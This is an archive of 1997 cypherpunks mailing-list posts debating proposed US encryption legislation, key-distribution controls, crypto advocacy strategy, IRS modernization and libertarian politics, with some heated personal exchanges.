> Sometimes I think cypherpunks *want* crypto to be outlawed.

No.  Cypherpunks *expect* it will be outlawed.  And it will be yet
another largely uneforceable restriction.

Sure you can run around and trumpet about how bad it is that your
government is going to outlaw cryptography.  You can rant at the
fundamental unconstitutionality of it.  You can try to convince
legislators who don't even know what a mouse is that outlawing crypto
is a bad idea.

If it makes you feel good and you think its a valuable effort, knock
yourself out.

Personally, I'd like to see more disposable remailers, more
stego,continued development of the eternity server and similar ideas,
and an implementation of untraceable anonymous digital cash.  

(We have until Jan. 1, 1999)

Phil Z. didn't release PGP to show how much he disliked Clipper or
join in some unified opposition.  He released it to beat the
government's efforts to the punch and get unrestricted strong crypto
into the hands of anyone who wanted it




-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@cmq.com>
Date: Sun, 14 Sep 1997 05:05:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Court proceedings under new SAFE act]
Message-ID: <19970913153616.25353@cmq.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Sep 11, 1997 at 06:12:15PM -0700, Declan McCullagh wrote:
> I'm reading the bill more closely. This is incredibly slick work.
> 
> 1. When it appears that any person is selling, importing, or distributing
> non-backdoor'd crypto or "about" to do so, the Atty General can sue to
> stop them. "Upon the filing of the complaint seeking injunctive relief by
> the Attorney General, the court shall automatically issue a temporary
> restraining order against the party being sued."

"distributing"  Does that include paper copies of source code?  How
about slowly and carefully reciting source code to an audience? 
Writing it on a blackboard, perhaps?

What if I respond to Adam Back and accidently forget to snip his .sig? 
(if that's not prior restraint, I don't know what is!)


> 2. There are provisions for closing the proceedings -- at the request of
> the "party against whom injunction is being sought." "Public disclosure of
> the proceedings shall be treated as contempt of court." Can also be closed
> if judge makes finding. 

This, of course, is what remailers are for.  More prior restraint, of
course.  

> You get notified not later than 90 days afterwards. There are a lot of
> other "checks and balances" here that will be touted as safeguards.

Who's being saved?

Fuck 'em.

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@cmq.com>
Date: Sun, 14 Sep 1997 05:10:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Let sleeping dogs lay]
Message-ID: <19970913153656.04134@cmq.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Sep 11, 1997 at 05:04:52PM -0700, Tim May wrote:
> 
> "Nothing good can come out of crypto legislation."
> 
> --said by several of us over the past year
> 
> 
> The big mistake was ever introducing the SAFE and Pro-CODE bills, as it
> brought the NSA and FBI out of their warrens and into the warrens of
> Congress. Without any crypto bills at all, it is possible (though by no
> means certain) that no legislation at all would have been introduced this
> year.

And the longer the wait the better.  Some have complained that the
status quo situation of export restrictions was unacceptable.  Yet
the spread of crypto has largely been unrestrained -- a stay of
execution so to speak.  The longer the status quo remains, the more
ubiquitous crypto becomes and future legislative efforts are
undermined.

That said, I think these organizations made a strategic error.  Had a
draconian bill been introduced first, opposition probably would have
played out differently in the press.  We saw this with Clipper.

I believe commercial interests played a large part in the push for
legislation.

Just another player in the game, I suppose.
 
> But once SAFE and Pro-CODE were out there, on the table, the forces in
> favor of a surveillance state began their lobbying in earnest, giving the
> infamous "if you only knew what we knew" scare tactic pitches. Last minute
> amendments and even complete bill replacements are easier to slip in than a
> Big Brother bill from the gitgo. Sure enough, the tide is now moving
> swiftly toward a future far, far, far worse than the mere annoyance of
> export controls.

You almost sound surprised.  Did they really think Congressman would
understand crypto?  Congressmen _do_ understand law and order and
protecting poor defenseless children from porn.  They understand
preventing "another Oklahoma.   And it's an easy sell to their
constituencies, too.

The average schmoe may indeed *want* more freedom, but he also he wants
to be protected.  And he also has a limited understanding of the
equation.  The easiest explanation wins, of course.
 
> to prison." The current language is of course a full-blown disaster.
> Pandora's box was opened by SAFE and Pro-CODE.
> 
> And so here we are. Multiple committees in both houses jockeying to see who
> can clamp down the hardest on crypto.
> 
> CDT, EPIC, and all the other Beltway insiders ought to think about this
> mess. Sometimes it's better just to let sleeping dogs lay. Or lie. Or
> whatever.

Some people just don't get it.  You'll never gain more freedom through
more legislation.

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@cmq.com>
Date: Sun, 14 Sep 1997 05:07:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Any talk of limiting _existing_ crypto? (fwd)]
Message-ID: <19970913153732.26052@cmq.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, Sep 12, 1997 at 12:00:43AM -0500, Jim Choate wrote:
> 
> How about the system file i/o level?

Sort of like TCFS (Transparent Crytpographic File System) for Linux? 
Is there such a thing for Windows?  NT?  Mac?

If so I've heard of none.  


-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sun, 14 Sep 1997 04:24:49 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: In Defense of Libertarianism, from HotWired's Synapse (fwd)
In-Reply-To: <3.0.3.32.19970913005041.0069adf8@popd.ix.netcom.com>
Message-ID: <97Sep13.161823edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 13 Sep 1997, Bill Stewart wrote:

> >clear that the founding fathers wanted the situation in the several states
> >to be quite dynamic and diverse, otherwise why "Congress shall make no
> >law..." and not something more comprehensive preventing the states from such
> >laws as well?
> 
> It's extremely clear that the Founding Finaglers had widely diverse opinions,
> some of which wanted central control and fiat currencies, others rabidly
> decentralist.  Go read the Anti-Federalist Papers.  And then, of course,
> go read the Federalist papers, and realize these were the more
> pro-big-government
> side of the bunch that overthrew their previous government.

Not that everything was wonderful under the Articles of Confederation.
For example states considered it their right to issue paper currency to
pay you, but demand specie when you paid them.  13 little tyrannies
wouldn't provide liberty, nor would it be likely that large states would
not annex the smaller states.  Some states had bills of rights in their
constitutions, and every state might have had them for a while had the
union not come to pass.  But my point is that decentralization does not
insure liberty - many eastern european countries were smaller than US
states but less free.

The Federalists tried, and to a fair extent succeeded in forming a
centralized power that didn't see its first mission as being to grab more
power.  It got around to it after a while, but it prevented the states
from doing it since you now had the federal government warring with the
states in a separation of powers just as necessary as between the
branches of government.

Even your car comes with maintainence instructions.  You need to refill
the gas tank, keep the tires in balance and at the right pressure and
change the oil.  Omit these things and eventually the car has problems.

You can condem the engineers for not producing a maintence free car, but
you wouldn't be able to afford one even if it were possible.

The founders could not create a maintainence free republic, but we have
forgotten that each generation must relearn the lessons first laid down in
the 1770's (yes - in The Declaration which listed the usurpations and the
toll in lives and treasure).  And rights reserved to the states or the
people is part of that lost lesson.

The soviet union kept their dead preserved in a shrine.  We have a similar
monument holding the Declaration, Constitution, and Bill of Rights.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sun, 14 Sep 1997 05:07:01 +0800
To: cypherpunks@Algebra.COM
Subject: (fwd) IRS Modernization
Message-ID: <199709132104.RAA15285@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




-- forwarded message --
Path: wmich-news!gumby!newspump.wustl.edu!news.starnet.net!news.starnet.net!spool.mu.edu!uwm.edu!computer-privacy-request
From: Monty Solomon <monty@roscom.COM>
Newsgroups: comp.society.privacy
Subject: IRS Modernization
Date: 12 Sep 1997 19:33:17 GMT
Organization: Computer Privacy Digest
Lines: 170
Sender: comp-privacy@uwm.edu
Approved: comp-privacy@uwm.edu
Message-ID: <comp-privacy11.11.10@cs.uwm.edu>
NNTP-Posting-Host: 129.89.2.6
X-Original-Submission-Date: 11 Sep 1997 22:08:16 -0400
X-Submissions-To: comp-privacy@uwm.edu
X-Administrivia-To: comp-privacy-request@uwm.edu
X-Computer-Privacy-Digest: Volume 11, Issue 011, Message 10 of 12
X-Auth: PGPMoose V1.1 PGP comp.society.privacy
	iQBFAwUBNBl8mTNf3+97dK2NAQGjTQF+IShsF6F0xmyCQi25Bh5+nlwfIOHLPVXm
	Aes89JHkrNTHPkuow8lQY/VJGKH4V/nY
	=pEpf
Originator: levine@blatz.cs.uwm.edu
Xref: wmich-news comp.society.privacy:527

Begin forwarded message:

    Date: 23 Aug 1997 21:21:31 -0700
    From: Michael Dodas <miked@NOSPAM!.utw.com>
    Subject: IRS Modernization - Request for Information
    Newsgroups: comp.software.year-2000

I just recently read IRS's "Request for Comments (RFC)", which solicits
comments for modernizing the IRS's tax systems.  This document is the
first information I've seen that shows just how desperate the IRS is
and how complex the IRS tax systems are.  Their systems are literally
incomprehensible.

I won't even attempt to describe this document in any type of detail.
My comments are merely those taken from the document that "caught my
eye" upon my first reading of this document (RFC).  To truly appreciate
the gravity of what the IRS wants to accomplish, you'll need to read
the entire document.  Keep in mind, also, that the Modernization effort
is intended to proceed as a separate project from the Year 2000
correction effort.

The document, which I will refer to as the RFC, begins with a cover
letter from Arthur A.  Gross, Associate Commissioner/Chief Information
Officer at the IRS.  Mr. Gross acknowledges that "the IRS assumed
primary responsibility for managing both systems development and
integration with less than acceptable results".  This statement sets
the tone for the IRS's direction of creating a "partnership" with the
private sector "stakeholders" to modernize the IRS.  Mr. Gross further
indicates that it is "myth" to believe that the private sector alone
could modernize the IRS, since IRS possesses the necessary "knowledge
of tax administration" to build a new system.  For all intents and
purposes, IRS wants to turn over all of the project management,
re-engineering, systems engineer, design and development and
integration expertise to the private sector.

I always knew the IRS was extraordinarily complex, but it is more
complex than I could have ever imagined.  The RFC indicated that the
complete Modernization Blueprint consists of seven volumes--count
them--seven volumes.  It may be a simpler system, but it will
inevitably end up being yet another complex monster.

The RFC continues to say that "during the 1980's and early 1990's,
effort focused on delivering taxpayer services and compliance
functionality together with limited on-line development of stand along
"stovepiped" systems with stand along data bases utilizing the
principles of distributed computer processing, an approach to computing
en vogue during the late 1980's and 1990's.  Overall, the IRS computing
environment evolved into an extraordinarily complex array of legacy and
stand alone modernized systems with respect to both connectivity and
interoperability between the mainframe platforms and the plethora of
distributed systems."  In other words, the IRS succumbed to "fashion
technology" solutions which did nothing but complicate their previous
efforts to modernize.

To give you an idea of how large the IRS's information system are,
consider these statistics from the RFC:

There are three computing centers, with sixty (60) mainframes in ten
regional service centers. NONE OF THE MAINFRAMES ARE CENTURY DATE
COMPLIANT.  There are 62 million lines of code in the IRS core business
systems.  Duplicate distributed networks have interoperability and
connectivity problems and are largely not century date compliant.

IRS mentions "risk" many times in the RFC.  "While the risks inherent
in Phase III may be nearly incalculable given the aged systems, the
absence of critical documentation, dependency on Assembler Language
Code (ALC) and the inevitable turnover of the IRS workforce supporting
these systems, it is essential to plan and execute the conversion of
the Master Files and its related suite of applications".  IRS seems to
know that it will not be able to retain its technical expertise, who
will probably bail for better paying jobs.

The IRS's goal is to canvas "any reasonable strategy to move forward on
modernization" while, at the same time, managing the immediate crisis
(Y2K) to "stay in business".  Given the complexity of IRS, its past
modernization failures and the Year 2000 problem facing them, you would
have to be insane to believe these goals were obtainable.

The Next Eighteen Months: Staying In Business And Preparing For
Modernization:

While searching for executive and senior information technology
managers, the IRS received in excess of 800 applications from the "not
faint of heart".  IRS has an interesting way of describing what kind of
job is in store for these people.  They'll be luck to keep any of them
around long-term.

Rebuild Product Assurance.  IRS indicates that staffing levels have
sunk to less than 30 percent of the minimum industry standards, and is
one of the highest priorities with IRS.  The RFC indicated that today,
major tax systems changes are not subjected to comprehensive testing
prior to being migrated to production.  Moreover, the Century Date
conversion will place an extraordinary additional burden on the Product
Assurance Program.  I think what IRS is saying here is that they don't
have the staff for a Y2K remediation effort and have obviously only
partially completed the inventory phase.

The IRS indicates that "it must undertake and complete major
infrastructure initiatives no later than June 1999 to minimally ensure
century date compliance for each of its existing mainframes and/or
their successor platforms.  At the same time, the IRS must complete the
inventory of its field infrastructures as well as develop and execute a
century date compliance plan for the conversion replacement and/or
elimination of those infrastructures."  How in god's name is this
possible by June 1999 when they haven't even started.  Notice how they
used the words "minimally ensure century date compliance".  What is
that going to accomplish.  Either you're compliant or you're not.

Basically, the IRS admits it was "wrong-headed" to modernize the legacy
systems instead of creating a brand new system.  Considering the
spaghetti code and systems in place, I would have to agree.  On the
other had, the IRS is indicating that contractual agreements may be
extended for up to fifteen (15) years for the modernization effort.
The new system will probably be obsolete before it ever gets off the
ground.

The last thing I will point out in the document stood out to me as the
most profound of all, for obvious reasons.  This is the way IRS
describes themself:

"The Information Systems (IS) organization of the Internal Revenue
Service (IRS) is a huge enterprise--employing in excess of 7,500
personnel across the United States, budgeted in excess of $1 billion
annually and responsible for the design development and ongoing support
of a highly complex and vast array of technologies which, taken
together, comprise the technology-based engine that powers the IRS.  A
$1.4 trillion Financial Services Program, IRS business enterprises are
unprecedented in size and scope - a Fortune One company - with service
centers, district office and regional office operations, staffed by
more than 100,000 employees, largely dependent on highly automated
process as well as the currency, comprehensiveness and availability of
vast storehouses of computerized data.

The latter half of the last decade of the twentieth century presents IS
management and staff with unprecedented challenges: fraught with risks
and potential for failure; yet filled with opportunity to serve the
nation's taxpayers, while contributing to the creation of the largest
and most sophisticated technology-based program in business or
government".

The above two paragraphs may well be the IRS's epitaph.

In my opinion, the only way the Federal Government can secure its tax
revenue collection system is to completely repeal the current United
States Tax Code and replace it with a VERY simple one like a flat tax.
Any attempt to fix (Y2K and Modernize) is impossible.  The IRS is a
classic example and sets the standard for systems which are too complex
to automate.  This level of complexity should be limited to scientific
endeavors.  I truly believe that it will be easier for NASA to put a
man on Mars more easily and quickly than to continue on with the
current IRS and tax code currently in place.

This amazing document can be found at:

http://www.ustreas.gov/treasury/bureaus/irs/prime/primerfc.htm

Then select Request For Comment No. TIRNO-97-H-0010

It is a 116 page Adobe Acrobat document.  I had great difficulty
printing the document because of the complex diagrams.  I have a HP
Laserjet/4 with 4 megs of memory.  The only way I could print it was to
use a Laserjet/III driver.  It worked at the high resolution, but not
as well as the Laserjet/4.  Leave it to the government to create a
document that you can't even print easily!

Happy Reading,

-- Mike Dodas


-- end of forwarded message --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 14 Sep 1997 05:32:59 +0800
To: cypherpunks@Algebra.COM
Subject: Distribute a key, go to prison.
Message-ID: <341B054E.11E3@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:tcmay@got.net to Harka <=-

 In> "Distribute a key, go to prison."

 In> Simple, by declaring that public keys themselves are crypto
 In> material, as the Brits did in their Trusted Third Parties
 In> draft proposal, and hence declaring that distribution of keys
 In> after the effective date of the legislation constitutes a
 In> violation. Give someone your key, either by placing it on
 In> keyservers or even by mailing it to them, and one has just
 In> "distributed" crypto.

 In> This will make the public key infrastructure essentially
 In> useless, as the public key servers go down, as corporations
 In> yank any directories they may have, and (possibly) as
 In> individuals stop putting PGP or S/MIME fingerprints or
 In> pointers in their messages.

But then the same thing will happen as with "censored" web pages.
Mirrors of key servers will be all over the world and render such
laws kinda useless.

You do have a point, however. I was thinking about a possible
nightmare-scenario similar to that: Remailers (as crypto-providers
and distributors) will be taken down in a syncronized effort in at
least the western world. Non-government-approved crypto outlawed
simultaneously. A few highly publicized cases of "violators" who use
crypto anyway.
Enough to scare the other 95 percent into complying.

Once that happens it will be too late...at least for a few decades.

Therefore crypto needs to be distributed and _used_ on a wide scale.
Maybe spamming the Net (once :)) with PGP will at least make a nice
publicity-stunt. Instead of "Adopt your legislator"-stuff it should
be "Adopt your local computer-fellows" to use PGP, Remailers etc..
Those who have the resources should implement new remailers, key
servers etc..

Cypherpunks don't whine! Cypherpunks have no need to be defensive!
Cypherpunks write code!

Ciao

Harka

... "Use a Cipher - Be Free!"




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNBsDNzltEBIEF0MBAQGxTAf/WkPXY3Or4Ces2N0PGfmrdQL7G7lqqjyw
AVZVJv4/gsSXuiIoRIOh7GjVBWRMX4xli1835cvXrwwnQnw1YmOcaMBHLNvQ6kVT
FVv3BVc8rcP5l5uaqJsByWHjXDa7kmuRGrmzP6mv7ZBQRbaiqGZp0E2vDZpxjhND
he3HLCSR2TIzyR/o1pzdwFQzvfOSZh42yU5ssFLEcF5C0L/1KYMUJxyYYQ7aZoJN
vFBwO5rx+nk+csRRNGVoUTDZ3NcZWf46h21+Gc8BF2L4zQN/3p4FJUswBHEFO87Q
hqhA10lSrHdH2Lfb3ypFPlee7L1oaAx0T8dgBds/51R8geMp7NwI8Q==
=It/0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 14 Sep 1997 07:19:42 +0800
To: jf_avon@citenet.net
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709131600.MAA22590@cti06.citenet.net>
Message-ID: <v0311071bb040b614b1ba@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:02 pm -0400 on 9/13/97, Fred Hapgood wrote:


>  Health and security are the governing
> superstitions of our age.

Hmmmm... "My country 'tis of thee, land of gerontocracy"...

:-).

> What are you saying here?  That we should be arguing that encryption
> should be permitted because it will allow people to avoid paying
> taxes?  I'm afraid the set of people that would respond well to that
> argument is not was large as you would hope.

Amen. I, for one, say that the only hope is technological. If you make
commerce and finance cheaper without book entries, then book entry taxation
and regulation go away.

Hope we don't get fooled again, and all that, but at least you don't have
Archie* looking up your dress anymore...

Cheers,
Bob Hettinga

*WWI pilot expression for anti-aircraft fire. Named for a music hall
character with very shiny shoes. Hmmm^2. A cypherpunk neologism, anyone?
I'll use it if you will...



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 06:39:31 +0800
To: iang@systemics.com
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <19970913205340.14699.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <199709132228.SAA27013@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 20:53, iang@systemics.com wrote:

> > Any comments about why we should *not* put most emphasis on the
> > financial aspect of crypto?
> 
> You answered it yourself.  There are more palefaces than bright-eyed
> injuns.
> 
> Sun Tsu (from memory): select the battleground where you are strongest and
> the enemy is weakest.
> 
> A battle on the field of taxation is a wipeout.  At least, on the field of
> privacy, 4th amendment and so forth provides a few weapons for the Freedom
> Fighters.


Sorry to say, but I don't completely get you idiosyncratic language.

My perception of it is that when you explain thoses things to 
productive individuals, i.e. individuals that get a lot of their 
money confiscated, most of them get quite interested while if you 
talk about the capability of talking dirty to your lover without your 
mother in law being able to know, they yawn faster than you can say 
"bit".

Thus, IMO, brigning the discussion on the ground of taxation would be 
an attention getter.  At least concerning the "guerilla" spreading of 
crypto, as Tim mentionned.

Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 14 Sep 1997 07:09:29 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Nightmare Scenario: Public Key Distribution Controlled
In-Reply-To: <v03102805b04065bf320b@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970913190120.27447A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



This proposal is perhaps the most terrifying thing I've read. Mostly
because such a proposal could pass quite easily by a small change -- one
sentence -- to the definition of "cryptographic product" in a bill.

You can bet that members of Congress would vote for it, too.

-Declan


On Sat, 13 Sep 1997, Tim May wrote:

> Sure, underground use will continue. And those with PGP, and keys, may well
> have  a reasonable defense in court, arguing that the program *and* the
> keys they used were already in their possession prior to the effective date
> of the legislation.
> 
> But the effect would be chilling to almost any normal use of these programs.
> 
> This is my latest nightmare scenario.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 14 Sep 1997 08:39:23 +0800
To: cypherpunks@toad.com
Subject: Re: Nightmare Scenario: Public Key Distribution Controlled
Message-ID: <1.5.4.32.19970913235944.00814c1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Does the following provision of the amendment lighten 
Tim's dim glim?

   "§ 2804. Encryption products manufactured and intended
   for use in the United States ...

   (d) USE OF PRIOR PRODUCTS LAWFUL.-- After 
   January 31, 2000, it shall not be unlawful to use any 
   encryption product purchased or in use prior to such 
   date.

[Bottom page 13]

That gives about 450 days to widespread stego, surrept 
onions and backchannels to prepositioned stashes. Max
use prior to.

Or, say to hell with it, coders will forever evade USCoders.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 08:35:25 +0800
To: cypherpunks@toad.com,       e$@thumper.vmeng.com
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709131600.MAA22590@cti06.citenet.net>
Message-ID: <199709140030.UAA28281@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 21:02, Fred Hapgood wrote:

> 
> >I think that *this* debate should be injected in the population and 
> >the *bogus* "national security" debate should be dismissed as, 
> >just that : bogus.  
> 
> Never underestimate how weirded out people can get about "security". 
> You don't know about this, living in Canada, but nobody in America can
> use a mailbox to mail a package now, just because one guy mailed a few
> bombs.

FUD.  There is quite a difference between what Joe and Jane Average 
are and what the Lie-Box with 500 channels and most Lie-Leaflets will 
tell you.  Sorry for my idealism, but I still believe that there is a 
quantum of Reason in the population.  But you may be right here.  

> What are you saying here?  That we should be arguing that encryption
> should be permitted because it will allow people to avoid paying
> taxes?

Duhhh, duhhhh, fucking duhhhh...

Why do you make me spend my resources (time, efforts) on having me 
defend myself on something I never said?  Just read my fucking text 
and this *is* what I said.  Go read Hettinga's rants on his web site 
about how e-$ will impose itself and why and consider that I agree 
with him on it.

[and here, I disregard the less-than-illuminated contradiction in 
terms]

And if you want to get emotionnal :-) , just as I also agreed and 
defended Jim Bell's opinion that AP was 
"not-possible-to-prevent-from-happening",  [unless they ban 
crypto, for legitimate e-$ scheme need authorities's tolerance of 
crypto] and backed my opinion with rational arguments. Thank you very 
much. 

Just like anybody describing and saying that the Ebola virus is 
mortal doesn't mean one loves to kill...  

So, DUHHHH squared.

Another time-wasting, word-twisting, fanatic-attracting, 
emotional-debate-inducing idiocy like that and [not a menace but 
simply a description of my quality-of-life enhancing measures] I 
will have one of my file past the terabyte mark...

Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 08:45:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709131600.MAA22590@cti06.citenet.net>
Message-ID: <199709140029.UAA28271@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 9:19, Tim May wrote:

> (JF won't see this, unless Bob H. chooses to pass it on, Sandy-style. This
> on unedited, undelayed lists, not on digests and delayed condensations.)

AFAIK, e$pam is not edited and not a digest.  But there might be 
parental control ...  :-)

> At 9:57 AM -0700 9/13/97, jf_avon@citenet.net wrote:
> >Hi.
> >
> >I've been lazily following the crypto-control issue through e$pam
> >list.
> 
> Read the real list.

Tim, there are a lot of important issues in life, and crypto is only 
one of them.  I value your opinion a lot and find most of your 
comments to be not only valid but even often wise.  But of course, 
as a CP highness, you seems to sometimes forget :-) that:

1) CP is carrier to so much things that I don't find interesting

2) every second wasted never comes back

3) some of my other interests requires as much time as CP, mostly 
Canadian Firearms Digest where locally, we Canucks, are fighting a 
battle you are no stranger with, only we got it worse than you 
Yankees.

4) IMO, crypto has to be a useful tool to be interesting.  I am more 
interested in improving life than in building aesthetic mathematical 
algorithms.  And the most direct way to achieve this is anonymous 
e-$, not guns.

5) fighting for privacy rights will be irrelevant when govt will have 
been starved to extinction by e-$.

6) If I subtract from my awake time my working time, my eating time, 
my washing time, my ****ing time and my domestic chores time, it 
leaves me with time I can do whatever I want.  This remaining time is 
always too short.

7) After several weeks of being on CP and e$pam and e$ 
simultaneously, I found that I can read most of you posts on 
CP via e$pam, great thanks to RAH.  RAH seems to forward everything 
that is even remotely related to e-$.  Unless RAH has a 
Machielavelous plan to induce everybody in error, for the time being, 
he does a great job.  I subscribe from times to times to CP for 
random durations at random moments just to cross-check theses things. 
My last year long absence from CP was caused by entirely other 
things.  I had no time for any net stuff at all. 

> As a comment, sometimes when I try to "reply to all" to these messages from
> folks reading digests, I get "you are not a member of this list" or "this
> is a private list" messages.

Why don't you try jf_avon@citenet.net? :-)  Get a decent mailer and 
you'll find it's easy...  :-)

> Fine, but it's why I won't waste time on folks who may not even see what I
> write unless I address it to them personally.

So now, do you propose mandatory voluntary subscription to some 
mailing lists?  :-)  Never thought about telepathy? Or becoming a 
prominent TV figure so that *everybody* (well, almost...) would be 
force-fed to TM-Stuff (tm) ?   :-)  OK, OK, I push it a bit 
but why should I have to suffer the intelligent and down to the point 
discussions on CP if I consider that I have other better things to 
do?  The issue comes down to the respect of the Individual. Could I, 
pe-lease, have my own interests? Pe-lease?

As for your perception of "loosing time on folks [snip]", I opinate 
that it is an error from you.  Although I am off from CP, I recently 
ordered Applied Crypto (at last, I found the money...), and I plan to 
give a small introduction talk to various persons and groups.  I make 
*every* *damn* *efforts* to spread PGP with everybody I know, 
distributing software and keys.

But you see, if you say to somebody : this will encrypt your 
communications" they don't give a shit.  

If you explain to them the digital telephony bill, the current 
tapping capability, the various moves that the govt is currently 
doing, *and* crypto through the e-$ applications *and* political 
consequences of e-$, *then* they *really* do get interested.  

In my own experience, introducing the topic by the e-$/govt-intrusion 
door is what gets them the motivation to learn text-based 
plain-vanilla PGP.  And as I said in an earlier post, the more they 
get their money confiscated in the name of the Great Unwashed 
Happiness, the more they get interested.

So, "that folk" is one it is unwise to neglect, he just gets 
overwhelmed by the sheer volume of stuff on CP.  Most of the 
discouraged just unsubscribe and a few rare stick to it in diverse, 
indirect ways.  The ones who stick to it might just be the most 
persistent of them all.

> JF, get a decent mailer and get on the real list if you want to participate.

I use Pegasus Mail V2.53 with a kill file verging on the terabyte 
thank you.  And I don't want to "participate", I want to exchange 
ideas.  Peoples who want to do so with me will do so.  If it is too 
much work to include me in your replies, just don't bother.

> Oh, and "cypherpunks@toad.com"

Please send me a valid name so I can keep posting to CP without 
suffering the irrelevant-to-my-interests stuff, in full confidence 
that RAH will keep doing it's fantastic job of forwarding your 
most-of-the-time-interesting-to-me posts.

Ciao Tim
Ciao all

jfa





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Lebkowsky <jonl@onr.com>
Date: Sun, 14 Sep 1997 09:51:57 +0800
To: Doug Geiger <david@amazing.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <199709120505.WAA08152@remarkable.amazing.com>
Message-ID: <3.0.3.32.19970913203434.007122e8@onr.com>
